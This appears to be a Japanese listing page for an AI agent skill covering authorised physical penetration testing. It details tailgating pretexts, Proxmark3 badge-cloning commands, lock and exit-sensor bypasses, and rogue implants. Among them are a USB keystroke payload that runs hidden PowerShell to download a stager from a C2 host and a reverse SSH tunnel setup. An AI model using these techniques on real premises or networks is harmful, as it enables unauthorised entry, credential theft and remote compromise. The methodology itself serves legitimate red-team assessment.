performing-physical-intrusion-assessment について
許可を得たレッドチームやセキュリティ評価担当者向けの、物理侵入評価スキルです。施設の入退室管理を実地で試験し、記録や安全要件を確認します。共連れ、バッジ、錠前、不正デバイスなどを扱います。
主な機能
- 01外周・内部の評価フェーズを計画
- 02共連れとバッジ管理を試験
- 03錠前や入室回避のリスクを評価
- 04不正デバイス設置のリスクを確認
- 05アクセス試行と証拠を記録
- 06許可と安全要件を遵守
活用シーン
- 01許可を得た物理セキュリティ評価
- 02入退室管理と警備手順の検証
- 03施設のアクセス管理上の弱点を記録
- 04レッドチーム演習で物理セキュリティを評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-physical-intrusion-assessmentインストール後、Claude Code で/performing-physical-intrusion-assessmentを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
物理侵入アセスメントの実施
概要
物理侵入アセスメントは、施設、サーバールーム、制限区域への不正アクセスを試みることで、組織の物理セキュリティ管理を評価するものです。これには、従業員への共連れ、RFID アクセスバッジの複製、錠前の回避、不正なネットワークデバイスの設置、警備員の手順のテストなどが含まれます。物理セキュリティテストは、フルスコープのレッドチーム演習における重要な要素であり、多くの場合、ネットワークアクセスへの最も直接的な経路を提供します。MITRE ATT&CK では、物理アクセスの手法を T1200(Hardware Additions)と T1091(Replication Through Removable Media)に対応付けています。
使用するタイミング
- 物理侵入アセスメントを伴うセキュリティ評価を実施する場合
- 関連するセキュリティイベントに対してインシデント対応手順に従う場合
- 定期的なセキュリティテストや監査活動を実施する場合
- 実地テストを通じてセキュリティ管理を検証する場合
前提条件
- 署名済みの認可レター(アセスメント中は常時携帯すること)
- クライアントのセキュリティチームの緊急連絡先(24 時間 365 日対応)
- 経営幹部の権限で署名された、拘束時の免責レター(Get-out-of-jail letter)
- 物理セキュリティテスト用ツールキット
- ボディカメラまたは記録用機材
- 変装・カバー用の身分証明グッズ(制服、バッジ、クリップボード)
MITRE ATT&CK マッピング
| Technique ID | Name | Tactic |
|---|---|---|
| T1200 | Hardware Additions | Initial Access |
| T1091 | Replication Through Removable Media | Initial Access |
| T1199 | Trusted Relationship | Initial Access |
| T1078 | Valid Accounts | Initial Access |
物理セキュリティテスト用ツールキット
| Tool | Purpose | Approximate Cost |
|---|---|---|
| Proxmark3 RDV4 | RFID badge cloning (125kHz/13.56MHz) | $300 |
| Flipper Zero | Multi-protocol RF analysis | $170 |
| Lock pick set (Sparrows) | Mechanical lock bypassing | $35 |
| Under-door tool (UDT) | Bypass door from outside | $30 |
| Shove knife / latch slip | Spring bolt bypass | $15 |
| LAN Turtle | Rogue network implant | $60 |
| WiFi Pineapple | Rogue wireless AP | $100 |
| Rubber Ducky / Bash Bunny | USB keystroke injection | $50-80 |
| Clipboard + hard hat + hi-vis | Social engineering props | $20 |
| Body camera | Evidence documentation | $50 |
手法 1: 共連れ(Tailgating)
共連れとは、認証情報を提示することなく、認可された人物の後に続いて保護された入口を通過することです。
方法:
- 両手がふさがった状態を装う: 箱や機材を運び、誰かにドアを押さえてもらう
- 喫煙所からの帰りを装う: 喫煙所付近で待機し、戻る従業員の後に続く
- 配送業者を装う: 配送業者の制服を着て、荷物を持つ
- 混雑する時間帯を狙う: 交代時間や昼食時の混雑時に入る
- ドアの開放状態を観察する: 従業員がドアを開けたまま固定しているかを確認する
テストする対策:
- ターンスタイル / マントラップ
- 警備員による確認手順
- 共連れ検知システム
- 従業員のセキュリティ意識
手法 2: バッジの複製
# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678
# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678
# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF
# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read # with extended antenna
# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > Emulate
バッジ複製攻撃の流れ:
- バッジリーダー(エレベーター、ドアの入退室装置)の近くに位置取りする
- 従業員が通過する際に、無線でバッジを読み取る(1〜3 秒のウィンドウ)
- 空白のカードに複製する
- 複製したバッジを使って制限区域にアクセスする
- アクセスできた区域を記録する
手法 3: 錠前の回避
| Lock Type | Bypass Method | Difficulty |
|---|---|---|
| Pin tumbler (standard) | Pick, rake, or bump key | Easy-Medium |
| Wafer lock (filing cabinets) | Pick or jiggle | Easy |
| Tubular lock (vending, server) | Tubular pick tool | Easy |
| Electronic lock (keypad) | Shoulder surf, thermal camera | Medium |
| Magnetic lock (mag lock) | Under-door tool, REX sensor bypass | Medium |
| Smart lock (Bluetooth) | Replay attack, firmware exploit | Hard |
# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds
# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked door
手法 4: 不正デバイスの設置
# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle
# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222
# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem
# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTER
手法 5: ダンプスター・ダイビング
外部のゴミ箱やリサイクルボックスを調査し、以下を探します:
- 機密情報を含む印刷文書
- 従業員名簿と組織図
- ネットワーク図と IP アドレス
- シュレッダー済みの文書(クロスカット方式かストリップカット方式かの評価)
- 廃棄されたハードウェア(ハードドライブ、USB ドライブ)
評価手法
評価前の偵察
- 境界の巡回 - すべての入口、カメラ、警備ポストを特定します
- 従業員の行動パターンを観察します - シフト交代、休憩時間
- バッジ技術を特定します(HID、MIFARE、iCLASS)
- カメラの死角を含めて監視範囲をマッピングします
- 警備員の巡回ルートと時間を記録します
実行フェーズ
- 外部境界: フェンス、ゲート、駐車場のバリア
- 建物への入室: 正面玄関、通用口、搬入口
- 内部へのアクセス: フロアへのアクセス、エレベーター制御
- 制限区域: サーバールーム、役員室、データセンター
- デバイスの設置: ネットワークインプラント、不正な無線機器
記録要件
- すべてのアクセス試行について、タイムスタンプと場所を記録します
- 侵入に成功した場合の写真・動画を残します
- 複製された認証情報を受け付けたバッジリーダーの場所を記録します
- 施錠されていないドア、ストッパーで開けられたドア、共連れの機会を記録します
- 公共エリアからアクセスできるネットワークポートを記録します
- ゴミ箱内にデータが存在した証拠を記録します
倫理および安全上の考慮事項
- 必ず認可レターを携帯すること - 呼び止められた場合は、直ちに身分を明らかにできるよう準備しておきます
- 決して強制侵入しないこと - 手法によって物的損害が生じた場合は、記録したうえで中止します
- デコンフリクションの前に警察が呼ばれた場合は、直ちに中止すること
- 許可なく個人を撮影しないこと
- 収集するが悪用しないこと - 写真は証拠として撮影し、実際のデータを盗み出さないようにします
- 安全を最優先すること - 危険区域に立ち入らず、消防安全設備を回避しないようにします
参考文献
- ISACA Physical Penetration Testing White Paper (2023)
- ASIS Physical Security Professional (PSP) guidelines
- NIST SP 800-116 Rev. 1: Smart Card PIV guidelines
- Deviant Ollam - Physical Security Assessment methodology
- MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/
コメント
Markdown 対応